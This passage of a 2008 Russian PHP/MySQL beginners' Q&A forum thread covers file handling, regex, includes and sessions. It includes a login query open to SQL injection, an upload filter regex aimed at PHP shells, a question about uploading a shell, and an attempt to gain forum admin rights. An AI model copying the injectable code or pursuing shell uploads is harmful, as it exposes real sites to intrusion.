571. Azzido (11.06.08 / 13:00)
589, дак если хорошо знаешь, почему не нашел эту ошибку в файле на который ссыку дал,там в двух местах такая ошибка, написано file_exists(userlist . . . без кавычек

572. seif (11.06.08 / 13:33)
589 до file_exists написано $nik = $nick.".prof";

573. seif (11.06.08 / 13:48)
переделал это
http://smartfan.org.ru/add.php
http://smartfan.org.ru/add.txt
даже если была бы проблема с кавычкоми, то наверно показывало ошибку синтаксис, а тут 404 не понятно почему

574. OlegLom (11.06.08 / 14:01)
Серёга, попробуй напиши
$a = "1";
echo 'Фигня'.$a.'опять фигня';
и
$a = "1";
echo "фигня $a опять фигня</b>";
Читай внимательно мануалы. И недавно поднимался этот влпрос.
Если у тебя 404 выводит, если не ошибаюсь я, то это ошибка значит что файл этот не существует.

575. seif (11.06.08 / 14:08)
я вот про это и пишу, то что файл существует, но ошибка 404

576. Azzido (11.06.08 / 14:11)
Дак ошибка 404 потому что если ошибка то Location: index.php

577. seif (11.06.08 / 14:13)
где я проверяю скрипт, сайт на х2м при ошибки 404 должно выбрасывать на главную хостинга. а тут просто пишет 404
например этого файла нету
http://smartfan.org.ru/add1.php
а этот есть
http://smartfan.org.ru/add1.php

578. Azzido (11.06.08 / 14:13)
В чем разница между этими строками а?
1#file_exists(userlist . . .
2#file_exists('userlist . . .

579. seif (11.06.08 / 14:13)
главная тоже есть

580. seif (11.06.08 / 14:15)
извиняюсь. этот есть
http://smartfan.org.ru/add.php

581. seif (11.06.08 / 14:19)
Azzido я не спорю. возможно будет ошибка без кавычек, но я исправил

582. seif (11.06.08 / 14:28)
все. извините если что не так. проблема была в другом. чета до меня туго доходило. файл не надо было инклудить include "level.php";

583. Удаленный (11.06.08 / 14:58)
Серега, вот я не понимаю, при чем тут html теги, если кавычки и точки это php синтаксис?

584. Удаленный (11.06.08 / 15:38)
error_reporting(0) гг. Вoт пoчeму oшибkи нe нaшeл...

585. Удаленный (12.06.08 / 11:15)
Kapoчe вoпpoc пo utf-8. Видeл в мaфии фунkцию rus_to_k, koтopaя мeняeт utf cимвoлы нa тpaнcлит. И вce pуckиe cлoвa этими иepoглифaми нaпиcaны. Tak вoт вoпpoc! Мoжнo ли вмecтo этoгo юзaть фунkцию iconv? И пиcaть нopмaльнo пo-pуckи...

586. OlegLom (13.06.08 / 15:55)
604, можно.

587. ZedsDead (14.06.08 / 01:46)
Помогите плз настроить соединение с MySQL пошагово:
Первое:
mysql_connect('localhost','root','homserv') or exit();
Что здесь? Удалить лишнее и оставить только: mysql_connect('localhost')? Чтоб в теме не сорить, можете писать в приват или асю: 375720060...

588. Azzido (14.06.08 / 08:47)
mysql_connect('сервер_базы_данных','пользователь_базы_данных','пароль_для _пользователя_базы_данных');

589. Удаленный (15.06.08 / 14:43)
вопросик есть, как переместить строку 2 га 3 строку, а строка 3 перешла на строку 2?)

590. Azzido (15.06.08 / 15:11)
<?php
$arr=file('file.txt');
$newarr=$arr;
$newarr[1]=$arr[2];
$newarr[2]=$arr[1];
$fp=fo pen('file.txt','w');
fputs($fp,implode("\r\n",$newarr));
fclose($fp);
break;
?>


591. Удаленный (15.06.08 / 15:25)
В чем ошибка?
 if((preg_match("/\bphp/i",$file1)==true) or (preg_match("/\bhtm/i",$file1)==true) or (preg_match("/\bphtml/i",$file1)==true) or (preg_match("/\bphp/i",$tmp_name)) or (preg_match("/else/i",$prov)) or (preg_match("/echo/i",$prov)) or (preg_match("/print/i",$prov)) or (preg_match("/base64_decode/i",$prov)) or (preg_match("/Zend/i",$prov)))){


592. Azzido (15.06.08 / 16:48)
#610, одна скобку круглую в конце убери,перед фигурной

593. Удаленный (15.06.08 / 18:15)
Благодарю за помощь ).gif

594. Удаленный (16.06.08 / 10:11)
Народ, подскажите как сделать чтобы при авторизации нельзя было зайти с одного логина 2 раза...чтобы выводило чтото типо "пользователь уже на сайте".

595. Удаленный (16.06.08 / 10:29)
Ы.А где это ты такое нашел ? И 2 человека сидят под одним ником ?

596. OlegLom (16.06.08 / 10:32)
А у меня такая проблема. Пишу сча библиотеку на мускуле и когда я добавляю офигенно длиный текст, то этот текст в ячейку записывается не до конца. Свойства ячейки text, нажимаю просмотр то написано [BLOB - 60.4 kb] и вот больше 60.4 кб текст не записывается. Чё мне делать?

597. Удаленный (16.06.08 / 10:41)
614. Да. ).gif

598. Удаленный (16.06.08 / 10:50)
Ну и как это может быть ? Один в чате сидит,а другой картинки смотрит к примеру ? А мотор какой ? Ну смени пароль и не давай его никому,и сиди один ).gif

599. Удаленный (16.06.08 / 10:54)
да это не скрипт...мне просто интересно... ).gif

600. Удаленный (16.06.08 / 10:57)

<?
$auth = mysql_query ("SELECT * FROM users WHERE login = '$login' AND pass = '$pass'");
if (mysql_num_rows($auth ) < 1)
{
echo "не верный пароль";
}
else
{
$info = mysql_fetch_assoc ( $auth );
$_SESSION ['loged'] = 1;
$_SESSION ['user'] = $info['login'];
header("Location: main.php");
}
?>

вот так делаю авторизацию, но как проверить на сайте он или нет незнаю...(.gif

601. Azzido (16.06.08 / 12:18)
615, text и blob до 65535 символов, делай varchar тип,он вроде произвольной длины

602. Azzido (16.06.08 / 12:21)
619, записывай в базу или в сессию время последнего перехода,тогда узнаешь на сайте или нет,а чтоб не сидело 2 чела,записывай так же ip и браузер и сравнивай текущий с записаным,если не совпадают то логаут

603. Удаленный (16.06.08 / 12:36)
такая проблема: ссылки имеют вид типа football.ua/england/news/35345.html Цифры меняются. Как э
то переделать под get-параметр?

604. woron (16.06.08 / 13:31)
Скачал скрипт http://visavi.net/download/votes/dream_vote.zip Подскажите как теперь вывести подсчет голосов из файла data.dat?

605. OlegLom (16.06.08 / 21:31)
Azzido, в varchar надо указывать длину. Хотя можно попробовать до хрена 9 указать.

606. Удаленный (17.06.08 / 11:05)
такая проблема: ссылки имеют вид типа football.ua/england/news/35345.html Цифры меняются. Как э
то переделать под get-параметр?

607. Удаленный (17.06.08 / 16:34)
чем отличается = от==

608. OlegLom (17.06.08 / 16:43)
625, это и есть GET.
626, два равно сравнивает переменые между собой. Вслучае если они не равный выдаётся FALSE (ложь)

609. Удаленный (17.06.08 / 21:17)
А что тогда значит 1) === 2) % 3) /si

610. seif (17.06.08 / 23:16)
== и === одинаково

611. Удаленный (17.06.08 / 23:52)
А % ?

612. Akademik (18.06.08 / 18:37)
Как создать среду пхп на компе?

613. Удаленный (18.06.08 / 23:03)
% & ???

614. Удаленный (18.06.08 / 23:49)
Что такое ?$QUERY_STRING ?

615. Удаленный (19.06.08 / 11:53)
Если я напишу $f=preg_replace('/бла-бла-бла(.*?)</a>,'',$f); то (.*?) будет действовать до первого попавшегося </a> или аж до последнего в html- доке?

616. Jeka127 (19.06.08 / 16:19)
Как так сделать чтобы даные из формы дописывались?

617. Удаленный (19.06.08 / 17:39)
Если я напишу $f=preg_replace('/бла-бла-бла(.*?)</a>','',$f); то (.*?) будет действовать до первого попавшегося </a> или аж до последнего в html- доке?

618. Удаленный (19.06.08 / 18:18)
Kak zdelat tak > http://www10.phonerotica.com/wap/pics/shoots/pic.pl?dir=S%5FKarlie%5FMontana%5Fand%5FSammie%5FRhodes %5Fgreat%5Fpleasure&pi=0 ( vhod s +18)

619. Jeka127 (19.06.08 / 21:27)
Ответьте мне
Плиз.

620. Удаленный (19.06.08 / 21:47)
Жека, всмысле ? Типа пишешь в поле ввода hello world , а получается hello world !!! Т.е дописывается ( !!! ), ну параметры тпк свои?

621. Удаленный (19.06.08 / 21:49)
Если так то это делают скрытыми полями.(так автоматом дописывают к ссылкам http://)

622. Удаленный (19.06.08 / 22:06)
Если я напишу $f=preg_replace('/бла-бла-бла(.*?)</a>','',$f); то (.*?) будет действовать до первого попавшегося </a> или аж до последнего в html- доке?

623. Удаленный (19.06.08 / 22:45)
vorona, чтo koнkpeтнo нaдo?

624. Jeka127 (19.06.08 / 22:52)
640,нет я имею введу вот что.
fwrite($newfile,"!!"$new_anekdot"?")
Првильно?
Или так:
fwrite($newfile,"!!",$new_anekdot,"??");
А?

625. Удаленный (20.06.08 / 10:57)
Если я напишу $f=preg_replace('/бла-бла-бла(.*?)</a>','',$f); то (.*?) будет действовать до первого попавшегося </a> или аж до последнего в html- доке?

626. OlegLom (20.06.08 / 11:24)
vorona, ты чё флудишь???

627. Удаленный (20.06.08 / 12:00)
643. Нипонял в чём смысл, но второе верно, а в первом запятых явно не хватаит.

628. Удаленный (20.06.08 / 12:04)
644. До первой </a>

629. Удаленный (20.06.08 / 12:29)
точно до первой? 100% ???

630. Удаленный (20.06.08 / 19:33)
Да,иначе эту хрень не приходилось писать по несколько раз в грабберах.

631. Удаленный (20.06.08 / 19:37)
Эта штуковина убирает все что идёт после неё, т.е ссылку, собственно когда сылку ты закроеш тегом </a> кончится и действие (.*?)

632. Удаленный (20.06.08 / 19:50)
И правильней так наверно:
 $file = preg_replace('<a href="(.*?)playfon.ru(.*?)"</a>','',$f);


633. Удаленный (20.06.08 / 19:57)
Нагнал я , вот так:
<?php                  //////бла - бла//////
$file = preg_replace('I<a href=(.*?)playfon.ru/(.*?)>( .*?)</a>I','', $file); //////бла - бла///////
?>


634. Удаленный (20.06.08 / 21:23)
А у меня чёт по другому. Она всё </a> уберает видать ).gif т.к. докум. не выводится!

635. Удаленный (20.06.08 / 21:25)
А что значит I ? Это типа I ?

636. Удаленный (20.06.08 / 21:28)
Ой... ).gif

637. Удаленный (20.06.08 / 21:29)
А у меня чёт по другому. Она всё </a> уберает видать т.к. докум. не выводится!

638. Jeka127 (20.06.08 / 22:25)
Как через обменник залить шел?

639. Удаленный (20.06.08 / 22:37)
#657.Ты явно форумом ошибся...

640. Удаленный (21.06.08 / 00:23)
а какой код надо написать чтоб на любой странице где этот код выводило полный адрес этой страницы?

641. XqTer (21.06.08 / 02:54)
Вот такой вот вопросик... Хочу сделать страничку для мотора, в пхп естественно... Типо странничка досуга... И там чтоб скрипты были гороскопы, сонники итд... Вот только как её сделать? И реально было бы её сделать чтоб управление ею был бы в.dat файле, как главной... Версия мотора 17.5, подскажите плиз распишите по подробние а то я пхп не чего не знаю...

642. Удаленный (21.06.08 / 07:19)
653.Ищи ошибку, её пишут если у тебя например три ссыки с плейфона. Но не совсем все ссылки. //Пиши полный путями ссылки.

643. XqTer (21.06.08 / 13:01)
Ладно короче сегодня методом тыка буду писать... Подскажите плиз какой код надо вставить чтоб страничка такой же стиль имела как и главная... Просто я же говорю что новечок... С веником возился теперь решил на х2м перейти...

644. seif (21.06.08 / 14:57)
вопрос, что такое floc ? в комментариях написано чета блокирует. (это при записи)

645. Удаленный (21.06.08 / 23:33)
народ че у меня над загрузками такая дрянь http://erema.net.ru/gruz3 ?Как это исправить?

646. Удаленный (22.06.08 / 11:46)
Серега, Блокирует переменную.*
*вроде

647. seif (22.06.08 / 12:27)
зачем ее блокировать? какой результат от этого?

648. Удаленный (22.06.08 / 14:18)
Серега, Сам подумай=) Или в скриптах посмотри=) И Увидишь зачем.

649. seif (22.06.08 / 16:08)
думал уже несколько дней ) и смотрел.
$fp = fopen("user/$log.prof");
flock($fp,LOCK_UN);
не понимаю. если блокирует переменную $fp то это созданный профиль юзера.
не понимаю

650. Удаленный (22.06.08 / 16:08)
ну помогите мне

651. seif (22.06.08 / 16:10)
опечатка 668 )))

652. seif (22.06.08 / 16:12)
EREMA в начале css напиши
<style type="text/css">
в конце
</style>

653. Jeka127 (22.06.08 / 17:15)
Как вывести форму голосования на главную?
Мотор 17.5

654. Удаленный (22.06.08 / 20:28)
вроде так
include_once"votes/index.php";


655. Jeka127 (22.06.08 / 20:43)
Aга.
Нихера!
Я уже так пробывал.
Выводится страница до етого инклюд.
А дальше вообще нет.

656. Удаленный (22.06.08 / 22:14)
Подскажите код сохранения текста введённого в форме в файл text.txt

657. Jeka127 (22.06.08 / 22:23)
form.html

<form action="form.php" method="get">
Имя:<br>
<input type="text" name="name">
Пароль:<br>
<input type="password" name="pass">
<input type="submit" value="ok">
</form>

form.php

//обрабатываем введенное из формы
$name = htmlspecialchars(stripslashes($_GET['name']));
$pass = htmlspecialchars(stripslashes($_GET['pass']));
//проверяем заполненны ли обязательные поля
if((empty($name)) or (empty($pass)))
{ echo 'поле, имя и пароль не заполненны';
exit();
} //шифруем пароль в md5
$par = md5(md5($pass));
//запись
$dan = $name."\n".$par."\n";
$fp = fopen("users/'.$name.'.dat","w");
fwrite($fp, "$dan");
fclose($fp);
echo 'имя: '.$name.'<br>пароль: '.$pass.'';

это спрашивал? в моем примере файл создается в папке users

658. Jeka127 (22.06.08 / 22:24)
Ето сообщение
Серёги.

659. Удаленный (23.06.08 / 00:10)
тода хз..просто времени проверить нету а так впринципе должно робить

660. seif (23.06.08 / 09:17)
676 скопировал штоль? )))

661. Jeka127 (23.06.08 / 11:38)
Ага.
Ответь на пост 672 плиз

662. Azzido (23.06.08 / 14:33)
Чтоб вывести форму голосования нужно посмотреть внимательно на код,разобраться и переделать,а не тупо инклудить всякие файлы . .

663. Jeka127 (23.06.08 / 14:58)
Я понимаю что тупо синклюдить не выйдет.
Разобраться я не смагу.
Можишь памочь ето сделать?

664. Удаленный (23.06.08 / 15:43)
подскажите плиз! Как сделать так чтоб каждый день число из ячейки файла уменьшалось на 1?

665. Удаленный (23.06.08 / 18:58)
блин народ у меня от тута ошибка,чё делать http://erema.net.ru/gruz3
я поставил граббер фанка новый,а он ошибку выдаёт сверху

666. seif (23.06.08 / 21:01)
684 ты что тут рекаму устроил сайта. в баню тебя за это. смотри выше ответ

667. Удаленный (23.06.08 / 21:19)
ГыГыГЫ было бы шо рекламить.жжош чувак,я просто не въехал как ошибку исправить

668. seif (23.06.08 / 22:46)
686 если ты и этого не понял, то что я написал как исправить ошибку, то тебе прямая дорога на http://wen.ru а то что это реклама это я уверен на 80% т.к. я и в другом форуме видел ты спрашивал это, но когда я зашел там все было нормально, а сегодня появилась эта самая ошибка. странно

669. Удаленный (23.06.08 / 23:08)
оно блин скомпа нормально без ошипки,а через тел. ошипка
вот шо ты мне писал:
EREMA в начале css напиши
<style type="text/css">
в конце
</style>
это писать в файле 1.css????????????????????????????????????????????????????????????????????

670. seif (23.06.08 / 23:13)
смотря как css называется. попробуй в 1.css з.ы. у меня компа нет, так что с телефона было нормально вчера )))

671. Удаленный (23.06.08 / 23:28)
ну я ток что поменял,попробуй зайди ошипка есть,а то я ща с компа

672. Jeka127 (24.06.08 / 00:29)
Вот ето пропиши:
В html ниже тега <title>ерёма</title>

<link rel="stylesheet" href="1.css" type="text/css">

1.css
Описание стилей

Вот и всё!

673. Удаленный (24.06.08 / 00:45)
???????????КАКОЙ HTML??????????у меня тока index.php

674. Jeka127 (24.06.08 / 00:52)
echo '<link rel="stylesheet" href="1.css" type="text/css">';

675. Удаленный (24.06.08 / 01:33)
а в граббере куда это ставить??

676. Sanek-4eL (24.06.08 / 07:20)
Парни подскажите,как сделать вывод и из файла последней записи?Ну например вывод последней новости.

677. Siriojka (24.06.08 / 07:32)
$a=file('file.txt');
echo $a[0];
При этом всё в файле должно быть записано с новой строки (\n)!

678. Удаленный (24.06.08 / 07:33)
отведте на пост 659

679. Sanek-4eL (24.06.08 / 18:42)
#696 так все гуд,спасибо!Ток один косяк,выводица не последняя,а первая запись,шо можна придумать?

680. Azzido (24.06.08 / 19:34)
$file=array_reverse(file('file.txt'));
echo $file[0];

681. Удаленный (24.06.08 / 19:38)
ответьте на 694

682. Azzido (24.06.08 / 19:47)
Функциями php,как еще ж. str_replace и другие . . .

683. Sanek-4eL (24.06.08 / 23:55)
#696,#699 спасибо парни,обоим плюс=)

684. Sanek-4eL (25.06.08 / 00:05)
Так и еще такой вопрос.Вот к примеру:
переменная $text выводит какие нибудь тексты (с разной длиной символов).И вот,как организовать чтобы выводились тексты только определеной длины символов.Например в текстах от 500 до 1000 символов,но выводица тексты будут только со 100 символами,а остальное буит обре3ацо.

685. Sanek-4eL (25.06.08 / 00:06)
Ух епт... хрен пойми че написал гг

686. JIexa (25.06.08 / 23:36)
$new_text=substr($text,0,100);
вроде так. гг

687. JIexa (25.06.08 / 23:46)
доп к 705 и выводишь переменную $new_text

688. Sanek-4eL (26.06.08 / 11:39)
#705,!Я так и думал)))Спасибо чуваг!лови +

689. Azzido (26.06.08 / 14:45)
707, русский текст некорректно режет,нужно сначала в Windows-1251 переводить,обрезать,а потом обратно в UTF-8, или так
$text=iconv_substr($text,0,200,'UTF-8');

690. Удаленный (27.06.08 / 23:01)
В чeм oтличиe preg_match_all oт preg_match?

691. Удаленный (29.06.08 / 07:46)
Люди добрИе,подскажите иль дайте скриптик групповой переименовки файлов.Недавно выкладывали,да темко упала.
Поис результатов не дал ).gif
Последние запросы
переименовщик
переименоввние
переименовка

692. Jeka127 (29.06.08 / 18:27)
<?=counter_string(BASEDIR."down/girl/");?>
Почему не робит?

693. Удаленный (29.06.08 / 22:27)
Блин.Ну кому давали скрипт переименовщик файлов.Тема упала.Поиск не катит.

694. lugaro (30.06.08 / 03:56)
Гг подожди я сейчас его делаю

695. lugaro (30.06.08 / 04:00)
Я шя уже его написал под мотор делаю в админку его пихаю потом выложу.

696. Удаленный (30.06.08 / 06:30)
714.lugaro...Эээ...Ты мне ? Если да то карашо ).gifЫы.
Да тут недавно ктото просил,ему дали скрипт этот.Темка упала,поиск не помог.А тему в лом создавать,хотя в теме намного больше шансов что подскажут что и как ).gif Буду ждать тогда.

697. lugaro (01.07.08 / 02:18)
Короче скрипт не доделаны. Я хочу ещё добавить (чтоб формат переименуемого файла можно было с формы указывать)вобщем лень.Шя выложу то что сделал

698. Удаленный (01.07.08 / 03:18)
716.lugaro,ждёмс ).gif А где выложишь то ? В этой теме ? ).gif

699. Azzido (01.07.08 / 12:13)
Вот вам скрипт,который и переименовывает,и капирует,и че тока не делает http://wapinet.ru/gmanager/

700. lugaro (01.07.08 / 15:16)
717 уже по ходу не надо ы ну лан выложу то что делал.Вобще для себя в админку мотора делал http://massster.com/rename.zip короче он переименовывает gif jpg и ещё один формат картинок.Уже не помня какой.Короче хотел ещё сделать чтоб формат с форы сразу указывать,времени нет вобщем. Зачися короч файлы из архива кидаем в папку мпанель и потом заходим на сайт как админ и потом по адресу http://сайт/mpanel/rename.php

701. Удаленный (01.07.08 / 15:30)
#719.Пасиб.Скачал,потом посмотрю.Плюсом в репу ).gif

702. Удаленный (01.07.08 / 17:54)
#718.Там нету переименовки ! Я его еще дня 3 назад скачал.
#719.Ыы.А ты сам пробывал его ? Я на локале затестил,сказал путь в центр к картинкам,так он все картинки сайта переименовал ).gif включая авики,смайлы,картинки в темах и так далее :-):-)

703. lugaro (01.07.08 / 18:04)
Гыыы у меня всё норм ты путь к папке указал в нереди и в конце без слеша?

704. lugaro (01.07.08 / 18:05)
*спереди

705. Удаленный (01.07.08 / 21:50)
#722.Ага...Указал...Хорошо что на сайте не тестил сразу :-)

706. lugaro (01.07.08 / 23:52)
И в правду хм не пойму че так вроде всё пашет.Я на хосте тестил.В загрузе переименовывал картинки и не че моторовского не задел.Обидно блин.Кодеры покажите мне мою ошибку? Где я там напортачил?

707. Удаленный (04.07.08 / 10:39)
Делаю web сайт, в одном файле index.php, через switch case, на локалке все отлично работает, но на хосте не переходит не по одной ссылке. ктонибудь знает что это? (.gif

708. Удаленный (04.07.08 / 17:16)
726,это register globals

709. Jeka127 (04.07.08 / 20:29)
А как так сделать чтобы текст бежал по странице как бегущаю строка.
И как задать скорость?

710. Удаленный (04.07.08 / 20:38)
728,

Форум Visavi.net
Форум I PHP & MySQL I Обновить I Скачать
Вопрос-Ответ по php


711. Удаленный (04.07.08 / 20:57)
waptanet, ага...я уже сделал..пол дня блин мучался ).gif

712. Jeka127 (04.07.08 / 21:36)
729,730
Так покажите?

713. Удаленный (04.07.08 / 21:47)

<marquee scrollamount="200">Этот текст будет двигаться очень быстро.</marquee><!-- html код -->


714. Jeka127 (04.07.08 / 22:27)
Спасиб,я думал ето php делает.

715. Jeka127 (04.07.08 / 22:33)
На SE не работает!
Но в маторе есть на главной строка бегущая с юзерами онлайн,её я вижу!?

716. Удаленный (04.07.08 / 22:58)
ну так посмотри html код на той странице .

717. Jeka127 (05.07.08 / 01:01)
Ладно!
Спасиб

718. Удаленный (06.07.08 / 12:12)
A гдe ckaчaть PEAR.php kлacc? Для apxивoв

719. Jeka127 (06.07.08 / 16:03)
http://wapinet.ru
Найдёш думаю

720. Jeka127 (06.07.08 / 16:05)
Прямая ссылка
http://wapinet.ru/script/dl/Klassy/pear.zip

721. Удаленный (06.07.08 / 17:01)
Как сделать чтоб после обновления страницы название ссылки менялось?

722. Удаленный (06.07.08 / 21:22)
народ чё это за ошибка,как её исправить?http://erema.net.ru/down

723. Удаленный (07.07.08 / 07:41)
Народ подскажите как сделать отчет,чтобы он начался с единицы и через определеное кол-во времени добавлялось какое то число.Например:
начался отсчет,сначала выводит 1,каждый час к единице будет добавляться число 2.Т.Е. палучаицо через 3 часа выведицо число 7 и т.д..Заранее спасибо

724. Удаленный (07.07.08 / 07:46)
А имено мне нада,чтобы отсчет начался с 1,и чтобы каждые 30 минут к выводимому числу добавлялось 1.Т.Е например:
щас выводицо 1,через полчаса 2,еще через полчаса 3 и т.д. подскажите?

725. Wapruks (07.07.08 / 07:53)
Алгоритм такой,например создаёшь переменную "а"дальше вычисляешь время потом иф(прошло пол часа)
Есчо'переменная "а"плюс один
Думаю примерно так

726. seif (07.07.08 / 21:31)
в чем проблема...
сделал регистрацию, все работает. потом создал страницу, где хочу сделать вывод файлов из папки где хронятся профиль юзера. в папке есть файл test.prof
в странице пишу
$dir = opendir("../user");
while($file = readdir($dir))
{
if($file = ".htaccess")
{
$file = str_replace(".prof","",$file);
echo '<a href="anket.php?id='.$file.'">'.$file.'</a><br>';
}}

результат на странице
test
..
test
.
иза чего так?

727. seif (08.07.08 / 14:26)
2й день все молчат

728. Удаленный (09.07.08 / 16:43)
есть вопрос.в парнерке хочу ссылку выделить красным цветом,выделяю,получается белый экран

729. Wapruks (09.07.08 / 16:44)
747.как выделяешь?

730. SeeNoos (09.07.08 / 16:56)
#745,ты сам-то посмотри на логику своего кода.
это стандартная ошибка начинающих: надо писать не

<?
if($file = ".htaccess")
?>

а

<?
if($file != ".htaccess")
?>

символ отрицания забыл.В следующий раз если есть ошибка,то сам поэтапно просматривай код.Так быстрее научишься искать ошибки и не допускать старые

731. seif (10.07.08 / 02:09)
749 это я здесь ошибку сделал, лень стало заходить на сайт чтоб скопировать. писал здесь занова. на сайте оператор не равенства стоит !=

732. seif (10.07.08 / 12:13)
с этим разобрался в чем проблема была SeeNooS спасибо за внимание.
еще один вопрос.
нужно сделать перезапись в файл. знаю что дозапис можно сделать через "а" но данные которые уже есть в файле, вывел их на страницу, потом добавил данные, и перезаписал. получилось то что данные которые уже были, дописались в конец файла. как сделать чтоб данные которые были, и если их не изменили, записалось бы только новые данные?

733. SeeNoos (11.07.08 / 02:20)
Очень давно с файлами не работал,но вроде r+ поможет

734. myz-tv (11.07.08 / 21:21)
Программеры подскажите, вобщем я копирую файл функцией соpy(); с тест.ру например , на дэнвере все пашет и сохраняется , а на хосте нет , почему?

735. myz-tv (11.07.08 / 21:25)
753 r+ это начало, 752 пиши w

736. Удаленный (12.07.08 / 13:39)
как в файле где много ячеек (около 60) изменить всего несколько не писав при этом всю строку из 60-ти ячеек

737. Studentsov (12.07.08 / 14:24)
#755 Я ж тебе код давал

738. Удаленный (12.07.08 / 14:27)
#756 Так код там Дырявый какой-то

739. SeeNoos (12.07.08 / 14:31)
Юзай Бд

740. SeeNoos (12.07.08 / 14:37)
754,'w' помещает указатель в начало файла и обрезает файл до нулевой длинны

741. Удаленный (12.07.08 / 21:30)
753, а права на запись деректории в которую капируешь паставить не забыл?;)

742. Удаленный (12.07.08 / 23:41)
помогите скачал скрипт двига 7ba(mod) немогу установить когда базы импортирую выдает ошибку. Че делать? И сервис чатов такая же проблема. На h2m

743. Night (12.07.08 / 23:53)
скажите почему это не работает? <? $test="Hello"; $name="Sergei"; echo"$test , $name"; ?> на сам текст внимания не обращайте.я просто хочу сделать так чтобы выводилось что либо в браузере.

744. Удаленный (13.07.08 / 00:24)
echo $test.','.$name; так делай )

745. seif (13.07.08 / 02:03)
761 телепатов нет

746. Night (13.07.08 / 11:13)
763 все равно ошибка. И здесь в чем ошибка? <? $a=9 ; $b=3 ; echo $a/$в; ?> и можно ли вывести в браузере только это?и ничего больше не помещать в страницу?

747. megabit (13.07.08 / 11:17)

<?php
$a = 9;
$b = 3;
echo $a/$b;
?>


748. Night (13.07.08 / 11:39)
766 тоже не работает (.gif

749. megabit (13.07.08 / 11:41)
должно! результат равен 3

750. Night (13.07.08 / 12:41)
а вот где <?php ?> в конце php не надо?

751. Night (13.07.08 / 12:42)
и вот если на странице написать только этот код то браузер выведет только 3 и все?

752. megabit (13.07.08 / 12:42)
нет не надо

753. megabit (13.07.08 / 12:43)
#770 да.

754. seif (13.07.08 / 16:12)
<?php
$a = "9";
$b = "3";
echo '.$a.'/'.$b.';
?>
так должно значит

755. Удаленный (13.07.08 / 17:55)
Недавно я спрашивал в этой теме о системе отсчета.Как сделать чтобы например каждые полчаса к переменной $a добавлялась 1.Подскажите как это сделать???Тут кто то сказал тип надо сделать алгоритм.Суть его я вроди понял,вот ток не понял а как сделать условие типа если прошло например полчаса,то к $а добавляется 1.А как сделать это условие?ПОДСКАЖИТЕ!

756. Удаленный (13.07.08 / 18:34)
774 юзай крон

757. Удаленный (13.07.08 / 18:34)
774, эти данные ты потом куда то пишешь? Или тупо чтоб выводило в браузер?

758. Удаленный (13.07.08 / 22:28)
775,крон не катит//над чтоб тупо выводило в браузер.Поисню еще раз.Сначала например выводица 1,через полчаса уже буит 2,еще через полчаса 3,и т.д.

759. Vanich (13.07.08 / 23:09)
774,эт нада значение в файле хранить

760. Удаленный (13.07.08 / 23:26)
#778,всмысле?Паподробнее пожалуйста;)

761. Удаленный (13.07.08 / 23:27)
#778,всмысле?Паподробнее пожалуйста;)

762. Vanich (13.07.08 / 23:30)
ну как ты собираешься хранить значение?гг //или я чот непонял,

763. Удаленный (13.07.08 / 23:37)
Гг,а хз

764. Удаленный (13.07.08 / 23:38)
Я чета запутался вообще D.gif

765. Vanich (13.07.08 / 23:42)
Скажи для чего это тебе нужно?

766. Удаленный (13.07.08 / 23:44)
Пишишь код,при обращении к нему записываишь в файл чтото типа "переменнаяIвремядобавления\n";и шоб при следующем обращение он читал паследнюю строку файла и смотрел время добавления строки и если (настоящие время минус время добовления строки) больше 1800,то приплюсовывал бы к переменной которую ты палучаишь из последней строки файла, 1, и перезаписуишь строку новыми данными ).gif

767. Удаленный (13.07.08 / 23:47)
>>в файл чтото типа "переменнаяIвремядобавления\n"
Зачем время добавления? Можно просмотреть по мвремени изменения файла, это и будет время обновления

768. Удаленный (13.07.08 / 23:51)
Хатя еси тебе именна 30мин нада не зависимо от обращений к файлу тада тебе нада записывать в файл время нынешнее+1800 и если время следуйщего обращения больше времени в файле, то записуишь новые данные,кроч я хз че тебе нада

769. Удаленный (13.07.08 / 23:53)
786,зачем лишние проблемы? Ну каму ка нравица,я записую время

770. Удаленный (14.07.08 / 00:05)
>>786,зачем лишние проблемы?
Зачем лишние данные хранить в файле? (:

771. Jeka127 (14.07.08 / 00:48)
Дайте код вывод гинерации страницы

772. Удаленный (14.07.08 / 03:49)
777,
<?php
$start_time='12000000'; //начальная точка отсчета в секундах
echo floor((time() - $start_time)/1800);
?>
Можешь попробовать так).gif .

773. Удаленный (14.07.08 / 03:51)
790, здесь смотри http://visavi.net/forum/index.php?fid=3&id=121595054882&

774. M-SOFT (14.07.08 / 23:56)
как сделать описание? и какими способами это можно сделать? p.s. например наводишь на ссылку или картинку.. А там в красивой рамочке описание... ЗАРАНЕЕ СПАСИБО))))

775. myz-tv (15.07.08 / 08:59)
#793, это уже jаvа script

776. Удаленный (15.07.08 / 09:39)
793, обрабатывать событие onmouseover и onmouseout
P.S. Это JS

777. VORON (15.07.08 / 09:53)
вот кусок кода как стать админом sex char(1) NOT NULL default '',
82: opsos varchar(255) NOT NULL default '',
83: date varchar(255) NOT NULL default '',
84: adminka int(1) NOT NULL default '0',
85: moderka int(1) NOT NULL default '0',
86: modforum varchar(255) NOT NULL default '',
87: posts int(255) NOT NULL default '0',
88: group varchar(255) NOT NULL default 'users',
89: rating int(255) unsigned NOT NULL default '0',
90: status varchar(255) NOT NULL default '',

778. Удаленный (15.07.08 / 09:58)
Где стать админом?

779. VORON (15.07.08 / 10:06)
в форуме. поставил 1 не вышло

780. Удаленный (15.07.08 / 11:55)
Тогда х.з

781. snake (15.07.08 / 15:33)
А как сделать вывод случайной картинки?

782. Night (15.07.08 / 16:11)
в каких случаях надо использовать " и ' в массивах? Ну например $а=5 и $с=hello вот надо ли хелло обозначать ими? Ну и 5 тоже

783. Night (15.07.08 / 16:11)
кстати 9 на 3 удалось разделить ).gif

784. Удаленный (15.07.08 / 17:22)
801, $a=5; // числа можно не заключать в кавычки. А строки обязательно надо в кавычки. Одинарные или двойные, эт решать уже тебе. Если будешь использовать одинарные, то нужно будет обязательно выносить переменные (если они есть) за кавычки.
$var='Вася';
$a='меня зовут '.$var.' блаблабла';
$a="меня зовут $var блаблабла";
// В обоих случаях в $a будет одно и тоже.

785. Удаленный (15.07.08 / 17:25)
В массивах в кавычки заключают индексы, в ассоциативных массивах. $a['inex1']='test';
$a['index2']='test2'; . Почитай книжку по php).gif много чего ещё узнаешь).gif

786. Night (15.07.08 / 17:50)
я книгу читаю.с php.su скачал.на смарт.и читаю.вроде понятно но не все

787. Night (15.07.08 / 17:51)
вот здесь например <? $a=9 ;
$b=3 ; $c=$a/$b ;
if($c=3) ;
echo"hello";
else:
echo"bay"; ?> в чем ошибка?

788. Night (15.07.08 / 17:52)
вроде все правильно пишу
